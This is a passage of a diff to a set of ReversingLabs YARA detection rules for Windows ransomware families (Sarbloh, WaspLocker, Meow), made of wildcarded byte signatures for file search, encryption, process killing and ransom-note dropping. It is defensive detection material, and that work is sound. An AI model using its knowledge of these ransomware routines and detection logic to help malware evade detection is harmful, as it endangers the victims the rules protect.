-            ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 FF D3 85 C0 74 ?? 8B 45 ?? 50 8D
-            85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 80 38 ?? 75 ??
-            8B 45 ?? 80 78 ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? E8
+		$find_files_p2 = {
+            89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 8B 95 ?? ?? ?? ?? 48 63 D2 48 C1 E2 ?? 48 01 C2 48
+            8D 85 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D
+            85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ??
+            83 85 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 85 ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? C6 05 ??
+            ?? ?? ?? ?? 48 8D 5D ?? 48 81 C3 ?? ?? ?? ?? 48 8D 45 ?? 48 39 C3 74 ?? 48 83 EB ??
+            48 89 D9 E8 ?? ?? ?? ?? EB ?? 90 E9 ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89
+            C1 E8 ?? ?? ?? ?? 48 89 DE EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ??
+            ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DE EB ?? 48 89
+            C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DE EB ?? 48 89 C3 48 8D 85 ??
+            ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DE EB ?? 48 89 C6 48 8D 5D ?? 48 81 C3 ?? ??
+            ?? ?? 48 8D 45 ?? 48 39 C3 74 ?? 48 83 EB ?? 48 89 D9 E8 ?? ?? ?? ?? EB ?? 90 48 89
+            F0 48 89 C1 E8 ?? ?? ?? ?? 90 48 81 C4 ?? ?? ?? ?? 5B 5E 5D C3
         }
-		$file_search_1_2 = {
-            8B F0 80 3E ?? 0F 84 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F0 80 3E ?? 0F 84 ?? ??
-            ?? ?? EB ?? 8B 75 ?? 83 C6 ?? 8B DE 2B 5D ?? 8D 43 ?? 50 8B 45 ?? 50 8D 85 ?? ?? ??
-            ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F8 8B C7 2B C6 8B D0
-            03 D3 42 81 FA ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 40 50 56 8D 85 ?? ?? ?? ?? 03 C3 50 E8
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8
+		$check_processes = {
+            55 53 48 83 EC ?? 48 8D 6C 24 ?? 48 89 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? EB ?? 8B 45 ?? 48 98 48 8D 14 C5 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 8B 1C 02 48
+            8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DA 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 85
+            C0 0F 95 C0 84 C0 74 ?? B8 ?? ?? ?? ?? EB ?? 83 45 ?? ?? 8B 45 ?? 3B 45 ?? 7C ?? B8
+            ?? ?? ?? ?? 48 83 C4 ?? 5B 5D C3
         }
-		$file_search_1_3 = {
-            8B F0 83 FE ?? 74 ?? 56 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 53 ??
-            03 C2 40 3D ?? ?? ?? ?? 7F ?? C6 84 1D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B C3 48 50 8D
-            85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 03 C3 40 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
-            E8 ?? ?? ?? ?? 40 03 D8 8B F7 80 3E ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 8D 85 ?? ?? ??
-            ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3
+		$kill_file_processes_p1 = {
+            55 56 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? C6 85 ??
+            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF C0
+            0F 11 45 ?? F3 0F 6F 4D ?? 0F 11 8D ?? ?? ?? ?? F3 0F 6F 55 ?? 0F 11 95 ?? ?? ?? ??
+            F3 0F 6F 5D ?? 0F 11 9D ?? ?? ?? ?? F3 0F 6F 65 ?? 0F 11 A5 ?? ?? ?? ?? 0F B7 45 ??
+            66 89 85 ?? ?? 00 00 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 D0 BA ?? ?? ??
+            ?? 48 89 C1 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 84 C0 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 41 B9
+            ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 85 C0 0F 94 C0
+            84 C0 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 4C
+            8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 89 4C 24 ?? 41 B9 ??
+            ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ??
+            8B 85 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? BB ?? ?? ?? ??
+            E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 C0 48 69 F0 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF
+            D0 49 89 F0 BA ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 89 85 ?? ?? ?? ??
+            48 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? BB ?? ?? ?? ??
+            E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 4C 8B 8D ?? ??
+            ?? ?? 4C 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 89 4C 24
         }
-		$raw_socket_connection_2 = {
-            55 8B EC 83 C4 ?? 53 56 8B F2 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ??
-            ?? 64 FF 30 64 89 20 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 83 FB ?? 74 ?? 8D 45 ??
-            33 C9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 8B C6 86 E0 66 89 45 ?? 8B 45
-            ?? E8 ?? ?? ?? ?? 89 45 ?? 6A ?? 8D 45 ?? 50 53 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B C3 E8
-            ?? ?? ?? ?? 83 CB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ??
-            C3
+		$kill_file_processes_p2 = {
+            89 C1 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 85 ?? ?? ?? ??
+            85 C0 75 ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8B 95 ?? ?? ?? ?? 49 89 D0 BA ?? ?? ?? ??
+            48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 8B 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? BB ?? ??
+            ?? ?? E9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0
+            89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48
+            98 48 69 D0 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 01 D0 8B 00 39 85 ?? ?? ?? ?? 75 ??
+            48 8B 05 ?? ?? ?? ?? FF D0 48 8B 95 ?? ?? ?? ?? 49 89 D0 BA ?? ?? ?? ?? 48 89 C1 48
+            8B 05 ?? ?? ?? ?? FF D0 8B 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? E9 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 98 48 69 D0 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 01 D0
+            8B 00 41 89 C0 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 89 85 ??
+            ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 55 ?? 48 8B 85 ?? ?? ?? ??
+            41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 48 8B 05 ??
+            ?? ?? ?? FF D0 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48
+            8D 55 ?? 48 8D 45 ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1
+            E8 ?? ?? ?? ?? 48 8D 45 ?? 49 C7 C0 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ??
+            ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C0 ?? 48 63 C8 48 8D 45 ?? 48 8D 55
+            ?? 49 C7 C1 ?? ?? ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 85 ?? ??
+            ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8
         }
 
 	condition:
-		uint16(0)==0x5A4D and (($http_connection_1 and $file_search_1_1 and $file_search_1_2 and $file_search_1_3 and $raw_socket_connection_1_1 and $raw_socket_connection_1_2 and $raw_socket_connection_1_3 and $raw_socket_connection_1_4 and $raw_socket_connection_1_5) or ($raw_socket_connection_2 and $file_search_1_1 and $file_search_1_2 and $file_search_1_3))
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($check_processes) and ( all of ($kill_file_processes_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Sarbloh : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Meow : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Sarbloh ransomware."
+		description = "Yara rule that detects Meow ransomware."
 		author = "ReversingLabs"
-		id = "532abd77-f091-5c54-87a3-7e8be5253efd"
-		date = "2021-05-21"
-		modified = "2021-05-21"
+		id = "7cebb04d-1cda-5ad1-b412-8b38df7b2550"
+		date = "2022-10-24"
+		modified = "2022-10-24"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Sarbloh.yara#L1-L88"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "7259aa9d1fe657db220ee50f1610e6439ff61673d92f46ebc3b8cadd990f002c"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Meow.yara#L1-L84"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "b00753d2b150a815279297ddf40d70051d25de1c32bb90f5b706ea7fd36bb871"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -33095,153 +34815,76 @@ rule REVERSINGLABS_Win32_Ransomware_Sarbloh : TC_DETECTION MALICIOUS MALWARE FIL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Sarbloh"
+		tc_detection_name = "Meow"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
 		$encrypt_files_p1 = {
-            8B 45 ?? C6 00 ?? 8B 45 ?? 40 89 45 ?? 39 75 ?? 72 ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ??
-            ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 75
-            ?? 81 FE ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
-            ?? 8B D8 89 5D ?? 85 DB 0F 84 ?? ?? ?? ?? C1 E6 ?? 56 6A ?? 89 75 ?? FF 15 ?? ?? ??
-            ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 7D ?? 8D 85 ?? ?? ?? ??
-            6A ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 8B
-            8D ?? ?? ?? ?? 8B C1 8B 55 ?? 0B C2 89 4D ?? 89 55 ?? 0F 84 ?? ?? ?? ?? 0F 57 C0 66
-            0F 13 45 ?? 85 D2 0F 8C ?? ?? ?? ?? 7F ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 45 ?? 89 45 ??
-            8B 45 ?? 89 45 ?? EB ?? 8B 75 ?? 8B 7D ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ??
-            50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 8B 45 ?? 8B 4D ?? 89 4D ?? 89 45 ??
-            85 C0 0F 8C ?? ?? ?? ?? 7F ?? 85 C9 0F 82 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 85
-            ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 6A ?? 6A ?? 56 8B 75 ??
-            8D 45 ?? 56 50 6A ?? 6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 85 C0 0F
-            85 ?? ?? ?? ?? 8B 75 ?? EB ?? 33 F6 8B 45 ?? 8B 4D ?? 89 75 ?? 89 4D ?? 89 45 ?? 85
-            C0 0F 8C ?? ?? ?? ?? 7F ?? 85 C9 0F 82 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 85 ??
-            ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 33 FF 85 C0 0F 88 ?? ?? ?? ?? 85 F6 0F 84
+            72 ?? 8D 45 ?? BA ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            83 C4 ?? 68 ?? ?? ?? ?? 57 FF D0 85 C0 75 ?? 33 F6 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 83 C4 ?? FF B4 B5 ?? ?? ?? ?? 57 FF D0 85 C0 75 ?? 46 83 FE ?? 7C
+            ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 5F 5E 33 C0 5B 8B E5 5D C3 CC 55 8B EC 83 EC
+            ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ??
+            ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ??
+            ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ??
+            ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8A 45 ?? 80 7D ?? ??
+            75
         }
 		$encrypt_files_p2 = {
-            8B 75 ?? 8D 45 ?? 56 50 53 52 6A ?? 52 FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 56 53 8D 45 ?? 50 6A ?? 6A ?? 6A ?? FF 75 ??
-            FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 8B 4D ??
-            81 C7 ?? ?? ?? ?? 3B 7D ?? 72 ?? 8B 75 ?? 03 75 ?? 8B 45 ?? 83 D0 ?? 89 75 ?? 89 45
-            ?? 3B 45 ?? 0F 8C ?? ?? ?? ?? 7F ?? 3B B5 ?? ?? ?? ?? 8B 75 ?? 0F 82 ?? ?? ?? ?? 8D
-            45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? F7 D8 6A ?? 1B DB 8D 45
-            ?? 23 5D ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? 89 5D ?? 89 5D ?? FF 15 ?? ?? ?? ??
-            F7 D8 1B F6 23 75 ?? 56 6A ?? 89 75 ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8
-            85 FF 0F 84 ?? ?? ?? ?? 8D 45 ?? 89 5D ?? 50 57 6A ?? 6A ?? 6A ?? FF 75 ?? FF 15 ??
-            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 8D 45 ?? 89 5D ?? 50 57 6A ?? 6A ?? 6A ?? FF 75
-            ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 56 57 8D 45 ?? 50 6A ?? 6A
-            ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 85 C0 78 ?? 39 75 ?? 75 ??
-            8B 85 ?? ?? ?? ?? 6A ?? 6A ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 6A ?? 89 85 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 50 8D 45 ?? 89 9D ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? FF 75 ?? 89 B5 ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 85 C0 78 ?? 33 C0 B9 ?? ?? ?? ?? 83
-            7D ?? ?? 0F 44 C1 89 45 ?? 89 7D ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 03 4D ?? 39 4D ?? 73
-            ?? 90 8B 45 ?? C6 00 ?? 8B 45 ?? 40 89 45 ?? 39 4D ?? 72 ?? 57 6A ?? FF 15 ?? ?? ??
-            ?? 50 FF 15 ?? ?? ?? ?? 8B 5D ?? 8B 7D ?? 8B 75 ?? EB
-        }
-		$find_files_p1 = {
-            55 8B EC 83 EC ?? 53 56 8B 75 ?? 57 8B F9 83 3E ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 8D
-            45 ?? 50 52 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 89 45 ?? 8D
-            45 ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 57 C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 0F 89 4D ?? 85 C0 78 ??
-            83 F9 ?? 74 ?? FF 75 ?? BB ?? ?? ?? ?? C7 06 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 50
-            FF 15 ?? ?? ?? ?? 8B 55 ?? EB ?? FF 75 ?? C7 06 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 8B 17 33 DB 89 55 ?? C7 45
-            ?? ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 81 C1 ?? ?? ?? ?? 39 4D ?? 73
+            8B 45 ?? 40 89 45 ?? 8B 45 ?? 99 F7 F9 85 D2 74 ?? E9 ?? ?? ?? ?? 8B 45 ?? 25 ?? ??
+            ?? ?? 79 ?? 48 83 C8 ?? 83 C0 ?? 74 ?? 8B 4D ?? 8D 46 ?? 03 CF 0F AF C8 89 4D ?? 8B
+            45 ?? 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 83 C0 ?? 75 ?? B9 ?? ?? ?? ?? 90 8B 45 ?? 99
+            F7 F9 8B 45 ?? 85 D2 74 ?? 48 EB ?? 40 89 45 ?? 8B 45 ?? 25 ?? ?? ?? ?? 79 ?? 48 83
+            C8 ?? 83 C0 ?? 74 ?? EB ?? 8B 45 ?? B9 ?? ?? ?? ?? 99 F7 F9 85 D2 74 ?? 8B 45 ?? 8D
+            4E ?? 83 C0 ?? 99 F7 F9 B9 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 99 F7 F9 85 D2 75 ?? 8B 45
+            ?? 99 F7 7D ?? 8B 45 ?? 85 D2 74 ?? 40 EB ?? 48 89 45 ?? 8B 45 ?? 99 F7 F9 85 D2 74
+            ?? 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 FF
+            D0 C7 45 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 45 ?? 99 F7 F9 8B 45 ?? 85 D2 74 ?? 83 C0
+            ?? 03 C3 89 45 ?? 8B 45 ?? 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 83 C0 ?? 0F 85
         }
-		$find_files_p2 = {
-            8B 45 ?? C6 00 ?? 8B 45 ?? 40 89 45 ?? 39 4D ?? 72 ?? 53 6A ?? 6A ?? 6A ?? 68 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 52 FF 15 ?? ?? ?? ?? 8B F8 33 DB
-            89 5D ?? 81 FF ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 85 FF 78 ?? 8B 4D ?? 8B 35 ??
-            ?? ?? ?? 2B CB 0F 84 ?? ?? ?? ?? 83 E9 ?? 0F 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B C1
-            C1 E8 ?? F7 D0 A8 ?? 74 ?? F7 C1 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 FE ?? 74 ?? 83 FE
-            ?? 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 C0
+		$drop_ransom_note = {
+            66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 53 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85
+            FF 74 ?? 8B CF E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 85 F6 74 ?? 6A
+            ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D0 6A ??
+            68 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A
+            ?? 6A ?? 68 ?? ?? ?? ?? 56 FF D0 8B F0 BA ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 89 35 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 56 FF D0 B9 ?? ?? ?? ?? 8D BD ??
+            ?? ?? ?? BE ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? F3 A5 68 ?? ?? ?? ?? 6A ?? 50 66 A5 A4 E8
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 33 CD B8 ??
+            ?? ?? ?? 5F 5B 5E E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-
-	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
-}
-rule REVERSINGLABS_Win32_Ransomware_Wasplocker : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects WaspLocker ransomware."
-		author = "ReversingLabs"
-		id = "596bf965-700a-58f5-b0e5-61ec57c23a3e"
-		date = "2022-06-28"
-		modified = "2022-06-28"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.WaspLocker.yara#L1-L76"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "852ec52328fca36d651e3176ac33a57ce26cefecadc2aad27235548e5b9813c1"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "WaspLocker"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
 		$find_files = {
-            50 50 8D 8D ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? 51 50 50 50 56 FF 15 ?? ?? ?? ?? 85 C0
-            75 ?? 57 53 E8 ?? ?? ?? ?? 8D 4E ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            A8 ?? 75 ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 50 FF 15
-            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 3B 85 ?? ?? ?? ?? 76 ?? 8D 85 ?? ?? ?? ??
-            50 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 59 03 C2 B9 ?? ?? ?? ?? 3B C1
-            7D ?? 8D 85 ?? ?? ?? ?? 2B CA 50 51 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0
-            74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? EB ?? 85 DB 0F 84
-            ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? 85 FF 75 ?? 33 C0 EB ?? 57 E8 ?? ?? ?? ?? 59 50 57
-            8D 4B ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 4E ?? E8 ?? ?? ?? ?? 33 C0 40 E8 ?? ?? ??
-            ?? C2 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33
-            F6 89 75 ?? 33 FF 89 7D ?? 21 75 ?? 21 75 ?? 39 3D ?? ?? ?? ?? 75 ?? 8D 45 ?? 50 E8
-            ?? ?? ?? ?? 8B F8 89 7D ?? 85 FF 74 ?? FF 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B F0 89 75 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? C2
-        }
-		$drop_aux_files = {
-            A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 68 ??
